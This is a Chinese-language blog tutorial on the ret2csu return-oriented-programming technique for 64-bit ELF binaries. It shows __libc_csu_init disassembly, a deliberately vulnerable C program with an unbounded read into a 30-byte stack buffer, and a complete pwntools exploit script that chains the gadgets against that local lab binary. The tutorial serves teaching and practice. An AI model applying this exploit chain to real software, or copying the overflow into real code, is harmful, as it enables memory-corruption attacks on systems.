跳到主要内容

「PWN」最基础的 ret2csu

· 阅读需 4 分钟
Muel - Nova
Anime Would PWN This WORLD into 2D
🤖AI Summary

这篇由nova撰写的博客文章详细介绍了在64位ELF文件中使用ret2csu技术进行ROP攻击的基础知识。

首先,nova解释了为什么需要ret2csu。在64位系统中,函数的前六个参数分别存储在特定的寄存器中,在构建ROP时,常常难以找到合适的gadgets来设置这些寄存器,尤其是rdx。ret2csu通过利用__libc_csu_init()函数来解决这个问题,获取两个gadgets以进行万能传参。

接着,描述了__libc_csu_init()函数的作用,它主要用于初始化libc,而大多数软件都会直接或间接调用到它。通过分析该函数,发现可以通过控制rbx、rbp等寄存器来设置函数指针和参数,从而简化了使用gadgets的难度。

文章的第三部分展示了一个实际例子,nova分享了一个简单程序的代码,说明如何使用__libc_csu_init()将rdx赋值为特定值233。通过分析ROPgadgets,进一步说明了如何构建payload来执行攻击。特别指出了在执行完第一个gadget后,需要填充垃圾数据防止程序错误。

总的来说,文章清晰地阐述了ret2csu在ROP攻击中的应用,并提供了详细的实战示范。

0x01 为什么需要ret2csu?

在64bits的ELF文件中,函数调用的前六个参数是分别存放在rdi、rsi、rdx、rcx、r8、r9这六个寄存器当中的,而我们在实际构建ROP时很难找到对应的gadgets(大部分情况下是找不到rdx),而ret2csu的关键点就在于使用__libc_csu_init()来获取两个gadgets来进行万能传参(同时泄露出函数真实地址)

0x02 __libc_csu_init()

__libc_csu_init()是用来对libc进行初始化操作的函数,而绝大部分软件都会调用到libc,因此我们可以认为__libc_csu_init()基本算程序通用的函数之一

。这里,我们随便打开一个64bitELF文件查看一下它。

.text:0000000000401250 loc_401250:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401250 mov rdx, r14
.text:0000000000401253 mov rsi, r13
.text:0000000000401256 mov edi, r12d
.text:0000000000401259 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040125D add rbx, 1
.text:0000000000401261 cmp rbp, rbx
.text:0000000000401264 jnz short loc_401250
.text:0000000000401266
.text:0000000000401266 loc_401266: ; CODE XREF: __libc_csu_init+35↑j
.text:0000000000401266 add rsp, 8
.text:000000000040126A pop rbx
.text:000000000040126B pop rbp
.text:000000000040126C pop r12
.text:000000000040126E pop r13
.text:0000000000401270 pop r14
.text:0000000000401272 pop r15
.text:0000000000401274 retn

从这里我们可以看出,我们可以让r15+rbx*8为我们所要执行函数的指针,edi、rsi、rdx可以分别作为函数的参数

在通常情况下,我们一般让rbx=0,rbp=1,这样可以赋值r15为指向函数的指针,如此一来便大大化简了我们使用gadgets的难度。

0x03 实战

在这里,我只准备对ret2csu的原理进行探究(因为还有半个小时就要打HGAME辣),所以我写了一个简单的程序,它会直接泄露出函数实际地址

source:

#include<stdio.h>
#include<unistd.h>

int vul(int a,int b,int c){
if(c == 233)
printf("Big Hacker!\n");
return 0;
}

int main(){
char buf[30];
int (*ptr)(int a,int b,int c) = vul;
printf("gift: %p\n", &ptr);
read(0,buf,0x100);
return 0;
}

编译:

gcc -m64 -fno-stack-protector -no-pie ret2csu_64bits.c -o ret2csu_64bits

很简单,我们只需要利用__libc_csu_init()将rdx赋值为233就好了

而我们使用ROPgadgets可以发现是没有一个gadgets能让我们这样做的

ROPgadgets

这时候我们就需要进行ret2csu了

def csu(gadget1, gadget2, rbx, rbp, r12, r13, r14, r15, return_addr) -> bytes:
"""
:param gadget1: call
:param gadget2: pop
:param rbx: better be 0
:param rbp: better be 1
:param r12: edi
:param r13: rsi
:param r14: rdx
:param r15: function ptr
:param return_addr: return addr
:return: payload
"""
payload = b''
payload += p64(gadget2)
payload += p64(0)
payload += p64(rbx)
payload += p64(rbp)
payload += p64(r12)
payload += p64(r13)
payload += p64(r14)
payload += p64(r15)
payload += p64(gadget1)
# Panding Trash
payload += b'A'*0x38
payload += p64(return_addr)
return payload

值得注意的是,执行完gadget1之后,程序顺序执行会再次执行gadget2,因此,我们需要再填充一次(7*0x8)的垃圾数据防止出现错误

完整payload:

from pwn import *

context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'

sh = process('./ret2csu_64bits')
elf = ELF('./ret2csu_64bits')

sh.recvuntil(b"gift: ")
vul_addr = int(sh.recvline(), 16)
csu_gadget1_addr = 0x401250
csu_gadget2_addr = 0x401266


def csu(gadget1, gadget2, rbx, rbp, r12, r13, r14, r15, return_addr) -> bytes:
"""
:param gadget1: call
:param gadget2: pop
:param rbx: better be 0
:param rbp: better be 1
:param r12: edi
:param r13: rsi
:param r14: rdx
:param r15: function ptr
:param return_addr: return addr
:return: payload
"""
payload = b''
payload += p64(gadget2)
payload += p64(0)
payload += p64(rbx)
payload += p64(rbp)
payload += p64(r12)
payload += p64(r13)
payload += p64(r14)
payload += p64(r15)
payload += p64(gadget1)
# Panding Trash
payload += b'A'*0x38
payload += p64(return_addr)
return payload

gdb.attach(sh)
payload = b'A'*(0x20+0x08) + csu(csu_gadget1_addr, csu_gadget2_addr, 0, 1, 0, 0, 233, vul_addr, elf.sym['main'])
sh.sendline(payload)
sh.interactive()

Loading Comments...